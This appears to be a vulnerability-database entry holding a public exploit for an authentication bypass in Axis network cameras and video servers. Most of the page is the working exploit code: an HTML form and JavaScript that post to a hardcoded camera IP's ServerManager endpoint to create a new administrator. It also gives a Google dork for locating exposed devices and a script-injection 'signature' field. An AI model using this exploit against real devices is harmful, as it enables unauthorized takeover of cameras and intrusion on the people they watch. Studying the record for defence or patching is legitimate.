Axis Network Camera 2.x And Video Server 1-3 HTTP Authentication Bypass

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Axis Network Camera 2.x and Video Server 1-3 HTTP Authentication Bypass allows remote administrative user acces

                                                source: http://www.securityfocus.com/bid/11011/info

A hardcoded backdoor administrative-user issue allows remote attackers to administer affected devices. This likely cannot be disabled.
 
This issue is reported to affect:
- Axis StorePoint CD E100 CD-ROM Server with firmware version 5.30
 
&#60;?php
###########################################################################
#          03/11/2007 | 3:00        #
#    |#|axisNC.php        #
#          |#|Axis Network Camera HTTP Authentication Bypass|#|
#
#                          Exploit:        #
#              plz help as friend to ours new project iam or maroc 
telecom
                      company                                    #
#                         By  ConcorDHacK and xcoder            #
#                    moroccan-hackers-sabotage.co.ma                      
#
#|    Remplace [IP]or[Hostname] by onother IP or Hostname    #
#          |#|Affected Products|#|       #
#           #
# AXIS 2100 Network Camera versions 2.32 and previous    #
# AXIS 2110 Network Camera versions 2.32 and previous    #
# AXIS 2120 Network Camera versions 2.32 and previous    #
# AXIS 2130 PTZ Network Camera versions 2.32 and previous    #
# AXIS 2400 Video Server versions 2.32 and previous    #
# AXIS 2401 Video Server versions 2.32 and previous    #
# AXIS 2420 Network Camera versions 2.32 and previous    #
# AXIS 2460 Network DVR versions 3.00 and previous    #
# AXIS 250S Video Server versions 3.02 and previous    #
# i know this exploit its old but the new is if add new password
         this password give you ftp access
!!!!!!!!!!!!!!!!!!!!!!!!!          #
#    |#|Google dork : intitle:&#34;Axis 2100 Network Camera&#34; ....       #
#           #
error_reporting(0);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;, 2);
ob_implicit_flush (1);
?&#62;
&#60;style
type=&#34;text/css&#34;&#62;body{background-color:black; 
SCROLLBAR-ARROW-COLOR:#ffffff;
SCROLLBAR-BASE-COLOR: black; color:   red; } img 
{background-color:#FFFFFF}
input  {background-color:black} option{ background-color: black}   
textarea
{background-color: black } input {color: red } option {color: red 
}textarea
{color: red }checkbox{background-color: black }select {font-weight:
normal;
color:
#1CB081;background-color:black;}body{font-size:8pt;background-color:
black;body * {font-size: 8pt } h1 {font-size:0.8em }h2{font-size:0.8em}  
h3
{font-size: 0.8em} h4,h5,h6{font-size:0.8em}h1 font{font-size:0.8em}h2 
font
{font-size:0.8em } h3 font {font-size:  0.8em}h4 font,h5  font,h6      
font
{font-size:  0.8em } *  {font-style:  normal }    *{text-decoration: 
none }
a:link,a:active,a:visited{ text-decoration: none ; color : black; } 
a:hover
{text-decoration: underline;color : black; } .Stile5 {font-family: 
Verdana,
Arial, Helvetica,  sans-serif;  font-size: 10px; }  .Stile6   
{font-family:
Verdana,  Arial,  Helvetica,     sans-serif;font-weight:bold;   
font-style:
italic;}--&#62;&#60;/style&#62;
&#60;script LANGUAGE=&#34;JavaScript&#34;&#62;
var password = new Array(20)
function formatPassword(pwString)
{
var code
var pwCoded = &#34;&#34;
for (var i=0; i&#60;pwString.length; i++) {
code = pwString.charCodeAt(i)
if (code &#60; 10)
pwCoded += &#34;00&#34; + code
else if (code &#60; 100)
pwCoded += &#34;0&#34; + code
else
pwCoded += code
}
return pwCoded
}
function parseUsers()
{
var form = document.WizardForm
var list = form.users
var str = form.conf_Security_List.value
var name
var rights
var pwCoded
var pwString
var noOfUsers = 0
var index = str.indexOf(&#34;:&#34;)
list.length = 0
while (!(index == -1)) {
name = str.substr(0,index)
str = str.substr(index+1, str.length-index-1)
index = str.indexOf(&#34;:&#34;)
rights = str.substr(0,index)
str = str.substr(index+1, str.length-index-1)
index = str.indexOf(&#34;:&#34;)
pwCoded = str.substr(0,index)
str = str.substr(index+1, str.length-index-1)
pwString = &#34;&#34;
list.length++
list.options[noOfUsers].value = name
if (rights.length &#62; 0)
list.options[noOfUsers].text = name + &#34;:&#34; + rights
else
list.options[noOfUsers].text = name
password[noOfUsers] = pwString
noOfUsers++
index = str.indexOf(&#34;:&#34;)
}
}
function formatUsers()
{
var form = document.WizardForm
var list = form.users
var str = &#34;&#34;
for (var i=0; i&#60;list.length; i++) {
str = str + list.options[i].text
if (isAdmin(i) || isView(i) || isDial(i))
str += &#34;:&#34;
else
str += &#34;::&#34;
str +=  formatPassword(password[i]) + &#34;:&#34;
}
form.conf_Security_List.value = str
}
function contains(ch, index)
{
var form = document.WizardForm
var list = form.users
var text = list.options[index].text
var lenValue = list.options[index].value.length
var lenText  = text.length
if (lenValue == lenText) {
return false  // No user rights
} else {
for (var i=lenValue+1; i&#60;lenText; i++) {
if (text.charAt(i) == ch) {
return true
}
}
return false
}
}
function isAdmin(index)
{
return contains(&#34;A&#34;, index)
}
function isView(index)
{
return contains(&#34;V&#34;, index)
}
function isDial(index)
{
return contains(&#34;D&#34;, index)
}
function UserChange()
{
var form = document.WizardForm
var list = form.users
var index = list.selectedIndex
form.username.value = list.options[index].value
form.password1.value = password[index]
form.password2.value = password[index]
form.checkAdmin.checked = isAdmin(index)
form.checkDial.checked = isDial(index)
form.checkView.checked = isView(index)
}
function deleteUser()
{
var list = document.WizardForm.users
if ((list.selectedIndex != -1) &&
(list.options[list.selectedIndex].text.substr(0,4)
== &#34;root&#34;)) {
alert(&#34;The &#39;root&#39; user cannot be deleted.&#34;)
} else if (!(list.selectedIndex == -1)) {
for (var i = list.selectedIndex; i&#60;list.length-1 ; i++) {
list.options[i].text = list.options[i+1].text
list.options[i].value = list.options[i+1].value
password[i] = password[i+1]
}
list.length--
}

if (list.selectedIndex == -1)
list.selectedIndex = list.length-1
UserChange()
}
function addUserButton()
{
addUser(false)  // false means that an empty user is not accepted
}
function addUser(ignoreEmptyUser)
{
var form = document.WizardForm
var list = form.users
var newUser
var index = -1
if ((ignoreEmptyUser) && (form.username.value == &#34;&#34;))
return 1
if (list.length == 20) {
alert(&#34;It is not possible to add more than 20 users.&#34;)
form.username.select()
form.username.focus()
return 0
}
if (list.length == 1 && list.options[0].value == &#34;&#34;)
index = 0
else {
for (var i = 0; i&#60;list.length ; i++) {
if (list.options[i].value == form.username.value)
index = i
}
}
newUser = (index == -1)
if ((checkUserName() == 1) && (checkPasswords(newUser) == 1) &&
(checkRights() == 1)) {
if (newUser) {
index = list.length
list.length++
}
list.options[index].value = form.username.value
list.options[index].text = form.username.value + strRights()
password[index] = form.password1.value
} else {
return 0
}
list.selectedIndex = index
return 1
}
function clearUser()
{
var form = document.WizardForm
form.username.value = &#34;&#34;
form.password1.value = &#34;&#34;
form.password2.value = &#34;&#34;
}
function strRights()
{
var form = document.WizardForm
var str = &#34;:&#34;
if (!(form.checkAdmin.checked || form.checkDial.checked ||
form.checkView.checked))
return &#34;&#34;
if (form.checkAdmin.checked)
str += &#34;A&#34;
if (form.checkDial.checked)
str += &#34;D&#34;
if (form.checkView.checked)
str += &#34;V&#34;
return str
}
function checkUserName()
{
var form = document.WizardForm
var aName = form.username.value
var c
for (var i = 0; i &#60; aName.length; i++)
{
c = aName.charAt(i)
}
return 1
}
function checkPasswords(newUser)
{
var form = document.WizardForm
var aPass1 = form.password1.value
var aPass2 = form.password2.value
var c
return 1
}
function checkRights()
{
var form = document.WizardForm
var aAdmin = form.checkAdmin
var aDial = form.checkDial
var aView = form.checkView
if (!(aAdmin.checked || aDial.checked || aView.checked)) {
alert(&#34;Select User Rights before adding user.&#34;)
aAdmin.focus()
aAdmin.select()
return 0
}
return 1
}
//--&#62;
&#60;/script&#62;
&#60;script LANGUAGE=&#34;JavaScript&#34;&#62;
&#60;!--
function onLoad()
{
parseUsers()
}
function saveData()
{
var form = document.WizardForm
if (addUser(true) == 1) {  // true means &#34;ignore empty user&#34;
formatUsers()
form.submit()
}
}
//--&#62;
&#60;/script&#62;
&#60;/HEAD&#62;
&#60;BODY BGCOLOR=&#34;black&#34; LINK=&#34;gray&#34; VLINK=&#34;gray&#34; ALINK=&#34;gray&#34;
ONLOAD=&#34;onLoad()&#34;&#62;
&#60;TABLE BORDER=&#34;0&#34; WIDTH=&#34;1100&#34; HEIGHT=&#34;400&#34; CELLSPACING=&#34;0&#34; 
CELLPADDING=&#34;0&#34;&#62;
&#60;TR&#62;&#60;TD COLSPAN=&#34;2&#34;&#62;




&#60;FORM ACTION=&#34;http://194.168.163.96//this_server/ServerManager.srv&#34;
METHOD=&#34;POST&#34; NAME=&#34;WizardForm&#34;&#62;




&#60;TABLE BORDER=&#34;0&#34; CELLSPACING=&#34;0&#34; CELLPADDING=&#34;0&#34;&#62;
&#60;TR&#62;&#60;TD COLSPAN=&#34;2&#34;&#62;
&#60;INPUT TYPE=&#34;hidden&#34; NAME=&#34;conf_Security_List&#34; VALUE=&#34;root:ADVO::&#34;&#62;
&#60;FONT FACE=&#34;ARIAL, GENEVA&#34; SIZE=&#34;2&#34;&#62;&#60;B&#62;A script By ConcorDHacK &#60;br&#62;&#60;a 
href=&#34;
http://www.hackzord-security.fr.tc&#34;&#62;&#60;font color=&#34;red&#34;&#62;&#60;i&#62;&#60;u&#62;[
www.hackzord-security.fr.tc]&#60;/a&#62;&#60;/B&#62;&#60;/FONT&#62;
&#60;/TD&#62;&#60;BR&#62;&#60;BR&#62;&#60;/TR&#62;&#60;TR&#62;&#60;TD COLSPAN=&#34;2&#34;&#62;&#60;FONT FACE=&#34;Arial, Geneva&#34;
SIZE=&#34;2&#34;&#62;&#60;SELECT NAME=&#34;users&#34; SIZE=&#34;2&#34; onchange=&#34;UserChange()&#34;&#62;
&#60;OPTION value=&#34;Dummy&#34;&#62;WWWWWWWWWW:ADV
&#60;/SELECT&#62;&#60;/FONT&#62;&#60;/TD&#62;&#60;TD&#62;&#60;/TD&#62;&#60;TR&#62;&#60;TD 
COLSPAN=&#34;2&#34;&#62;&#60;/TD&#62;&#60;TD&#62;&#60;/TD&#62;&#60;/TR&#62;&#60;TR&#62;&#60;TD
COLSPAN=&#34;4&#34;&#62;&#60;HR&#62;&#60;/TD&#62;&#60;/TR&#62;&#60;TR&#62;&#60;TD&#62;&#60;FONT FACE=&#34;Arial, Geneva&#34; 
SIZE=&#34;2&#34;&#62;&#60;b&#62;New
Admin:&#60;/FONT&#62;&#60;/TD&#62;
&#60;TD&#62;&#60;FONT FACE=&#34;Arial, Geneva&#34; SIZE=&#34;2&#34;&#62;&#60;INPUT name=&#34;username&#34; 
type=&#34;text&#34;
size=&#34;30&#34;&#62; (Ex : ConcorDHacK or just root)&#60;/FONT&#62;&#60;/TD&#62;
&#60;/TR&#62;&#60;TR&#62;&#60;TD&#62;&#60;FONT FACE=&#34;Arial, Geneva&#34;
SIZE=&#34;2&#34;&#62;&#60;b&#62;Password:&#60;/FONT&#62;&#60;/TD&#62;&#60;TD&#62;&#60;FONT FACE=&#34;Arial, Geneva&#34;
SIZE=&#34;2&#34;&#62;&#60;INPUT name=&#34;password1&#34; type=&#34;password&#34; size=&#34;30&#34;&#62;
Password of your choice (Ex : 123456 )&#60;/FONT&#62;&#60;/TD&#62;
&#60;/TR&#62;&#60;TR&#62;&#60;TD&#62;&#60;FONT FACE=&#34;Arial, Geneva&#34; SIZE=&#34;2&#34;&#62;&#60;b&#62;Verify:&#60;/FONT&#62;&#60;/TD&#62;
&#60;TD&#62;&#60;FONT FACE=&#34;Arial, Geneva&#34; SIZE=&#34;2&#34;&#62;&#60;INPUT name=&#34;password2&#34;
type=&#34;password&#34; size=&#34;30&#34;&#62; Confirm your password&#60;/FONT&#62;&#60;/TD&#62;
&#60;/TR&#62;&#60;TR&#62;&#60;TD&#62;&#60;FONT FACE=&#34;Arial, Geneva&#34; 
SIZE=&#34;2&#34;&#62;&#60;b&#62;Signature:&#60;/FONT&#62;&#60;/TD&#62;
&#60;TD&#62;&#60;FONT FACE=&#34;Arial, Geneva&#34; SIZE=&#34;2&#34;&#62;&#60;INPUT name=&#34;conf_Image_UseText&#34;
type=&#34;text&#34; size=&#34;30&#34; value=&#34;&#34;&#62; Your signature in the administration by
HTML/Javascript code  after &#34;&#62; (Ex : &#34;&#62;
&#60;script&#62;alert(&#34;LOL&#34;)&#60;/script&#62;&#60;/pre&#62;&#60;/FONT&#62;&#60;/TD&#62;
&#60;/TR&#62;&#60;TR&#62;&#60;TD&#62;&#60;FONT FACE=&#34;Arial, Geneva&#34; SIZE=&#34;2&#34;&#62;&#60;b&#62;User Rights:
&#60;/FONT&#62;&#60;/TD&#62;&#60;TD&#62;&#60;FONT FACE=&#34;Arial, Geneva&#34; SIZE=&#34;2&#34;&#62;&#60;INPUT 
NAME=&#34;checkAdmin&#34;
TYPE=&#34;checkbox&#34;&#62;&#60;b&#62;Admin
&#60;TR&#62;&#60;TD&#62;&#60;/TD&#62;&#60;TD&#62;&#60;FONT FACE=&#34;Arial, Geneva&#34; SIZE=&#34;2&#34;&#62;&#60;INPUT 
NAME=&#34;checkDial&#34;
TYPE=&#34;checkbox&#34;&#62;&#60;b&#62; Dial-in &#60;/TD&#62;&#60;/TR&#62;&#60;/font&#62;&#60;TR&#62;&#60;TD&#62;&#60;/TD&#62;&#60;TD&#62;&#60;FONT
FACE=&#34;Arial, Geneva&#34; SIZE=&#34;2&#34;&#62;
&#60;INPUT NAME=&#34;checkView&#34; TYPE=&#34;checkbox&#34;&#62;&#60;b&#62; View
&#60;/TD&#62;&#60;/TR&#62;&#60;/FONT&#62;&#60;/TD&#62;&#60;/TR&#62;&#60;TR&#62;&#60;TD COLSPAN=&#34;2&#34; ALIGN=&#34;center&#34;&#62;&#60;br&#62;
&#60;table border=&#34;0&#34; cellspacing=&#34;1&#34; cellpadding=&#34;1&#34;
width=&#34;300&#34;bgcolor=&#34;#ffffff&#34;&#62;&#60;tr&#62;&#60;td bgcolor=&#34;red&#34; width=&#34;20%&#34;
height=&#34;16&#34;&#62;&#60;center&#62;&#60;b&#62;&#60;font color=&#34;black&#34;&#62;&#60;A
HREF=&#34;javascript:saveData()&#34;&#62;-=[Go!Go!]=-&#60;/A&#62;&#60;/font&#62;&#60;/td&#62;
&#60;/TD&#62;&#60;/TR&#62;&#60;/TABLE&#62;&#60;INPUT TYPE=&#34;HIDDEN&#34; NAME=&#34;servermanager_return_page&#34;
VALUE=&#34;/admin/setgen/security.shtml&#34;&#62;
&#60;INPUT TYPE=&#34;HIDDEN&#34; NAME=&#34;servermanager_do&#34;
VALUE=&#34;set_variables&#34;&#62;&#60;/FORM&#62;&#60;/TD&#62;&#60;/TR&#62;&#60;/TABLE&#62;&#60;/BODY&#62;&#60;/HTML&#62;
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1